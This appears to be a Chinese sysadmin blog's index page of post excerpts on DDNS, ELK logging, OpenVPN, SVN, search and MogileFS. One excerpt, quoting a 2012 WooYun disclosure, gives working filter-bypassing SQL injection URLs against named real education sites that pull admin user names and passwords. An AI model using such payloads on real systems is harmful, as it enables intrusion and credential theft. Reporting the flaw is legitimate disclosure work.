基于DNSPod配置DDNS 和云主机同步自动更新Let’s encrypt泛域名证书 本地系统:群晖DSM6.2远程主机:腾讯云 centos7DNS服务:DNSPod 自从用了群晖以后,从文件共享功能逐步到同步盘、Note、Emby、VPN等等,群晖逐渐变成了一个家庭服务中心。 因为家里是电信宽带,从外部访问来说,一直是用自带的 Quick Connect 服务,他会给你一个 username.synology.me 的域名,但是域名主机毕竟在国外,越墙的稳定性会有一些问题,正好刚购置了一台腾讯云的主机用来放 Blog,也把原先在 Godaddy 的域名迁到了 DNSPod,所… 继续阅读 在群晖上配置 DDNS 和 HTTPS 证书
分类: 技术点滴
经验在于积累,技术在于实践。失败并不可笑,悲哀在于从未尝试。
logstash grok使用案例:php-slow日志的匹配
在 logstash 的使用中,我遇到最多的问题是通过 grok 对日志清洗的正则规则使用了,把案例记录一下,以便存档吧。 logstash 本身提供了一个 grok 预定义常用表达式的文件,包括%{USER}、%{IP}、%{NUMBER} 、%{DATA}等,可以通过这来了解一下基本的正则写法。路径如下: /usr/share/logstash/vendor/bundle/jruby/1.9/gems/logstash-patterns-core-4.0.2/patterns/grok-patterns 这是我们要处理的PHP的slow日志,经过filebeats多行合并之后,我们可以把每… 继续阅读 logstash grok使用案例:php-slow日志的匹配
ELKtrack日志收集分析的实验
实验结构 filebeat –> logstash –> elasticsearch –> kibana 说明: ELK是实时日志处理领域的第一开源选择,基于实时全文索引,统一的配置语言,支持集群线性扩展,这次实验设计的各种软件均属于ELK的套件工具。 filebeat 是一个轻量的日志采集器,安装在各应用服务器,其实logstash也可以实现此功能不过过于笨重,其监控所定义的日志文件,然后根据配置统一输出到logstash,当然也可直接输出到elasticsearch或redis,但是filebeat只支持多行合并和简单过滤控制,我们需要… 继续阅读 ELKtrack日志收集分析的实验
在centos6上建立openvpn server
工作需要建个vpn,便于远程到内网环境来开发,内部设备也好维护。使用centos6自带的openvpn rpm包即可。 # yum install openvpn # cd /etc/openvpn # cp /usr/share/doc/openvpn-2.2.2/sample-config-files/server.conf ./ # mkdir -p easy-rsa/keys # cd easy-rsa/ # cp /usr/share/openvpn/easy-rsa/2.0/* ./ # source ./vars # ./clean-all 建立公用证书 # ./build-ca… 继续阅读 在centos6上建立openvpn server
建立svn并自动到发布到web目录【存档】
编译安装svnserver ./configure –prefix=/data/app/svn –without-berkeley-db make & make install 建立svnserver的配置目录 mkdir /data/app/svn/conf 手工建立三个配置文件: svnserve.conf svn服务器配置 [general] anon-access = none auth-access = write password-db = passwd authz-db = authz authz 项目配置 [yjxj2012:/] soft456 = rw wp1998… 继续阅读 建立svn并自动到发布到web目录【存档】
试用 xunsearch 全文检索
近几天一直在测试sphinx/coreseek的分词和全文检索的解决方案,sphinx应用的案例比较多,它所提供的接口也比较丰富。昨日接触了一下xunsearch,有点眼前一亮的感觉,相比前者虽然目前只提供php sdk的使用,但是在使用上更友好,文档更规范,从应用上更加减少了开发成本。 xunsearch是SCWS延伸的一个项目,SCWS基于php的分词还是以前在写小项目中使用过,xunsearch也是最近正式发布的,也希望能延续下去。 其官网 www.xunsearch.com 上的文档很详细,安装也做得比较傻瓜,使用前可以浏览看看。 以这个WP的mysql为基础做了一个全文检索的范例: … 继续阅读 试用 xunsearch 全文检索
Amoeba for Mysql试用所感
Amoeba for Mysql是一个类似于mysql-proxy国人开发的开源项目,主要功能是数据库代理,项目地址:http://sourceforge.net/projects/amoeba/ 于mysql-proxy最大的不同是其配置文件简单,很容易就能实现读写分离、数据分片和主从备份,在测试环境下做了几种应用的测试,主要是Mysql的数据分片和读写分离。 具体步骤在文档中已经很详细了(http://docs.hexnova.com/amoeba/),下面是一些个人感受: 1、使用水平分片和原始mysql操作还是有很多不一样的,在insert操作的时候,必须指明分片key对应的字段,否则… 继续阅读 Amoeba for Mysql试用所感
没想到wooyun.org上榜被抓sql inject
漏洞编号:WooYun-2012-04939 详细说明: 因其中简单过滤括号和空格,导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。 主站:http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin 高中课改网:http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!sel… 继续阅读 没想到wooyun.org上榜被抓sql inject
给mogileFS增加memcache遇到的
主要参考扶凯的这篇文章《MogileFS 设置 Memcached》 先设置tracker # mogadm settings set memcache_servers 27.17.28.134:22222 然后安装Cache::Memcached这个模块 # cpanm Cache::Memcached 重启tracker之后通过命令来查询key看看: # mogfileinfo –domain=test1 –key=’nginx-1.0.14.tar.gz’ – file: nginx-1.0.14.tar.gz class: default devcount: 2 domai… 继续阅读 给mogileFS增加memcache遇到的
测试MogileFS的PHP模块上传遇到的
在nginx/php-cgi上试试最简单的mogileFS的php模块上传操作,总是报502的错误,查看php-fpm的日志发现提示undefined symbol: ne_set_connect_timeout错误,ne_set_connect_timeout未定义。 查看php的mogilefs扩展到源码mogilefs.c源码发现。该扩展引用了: #include <ne_socket.h> #include <ne_session.h> #include <ne_utils.h> #include <ne_auth.h> #include… 继续阅读 测试MogileFS的PHP模块上传遇到的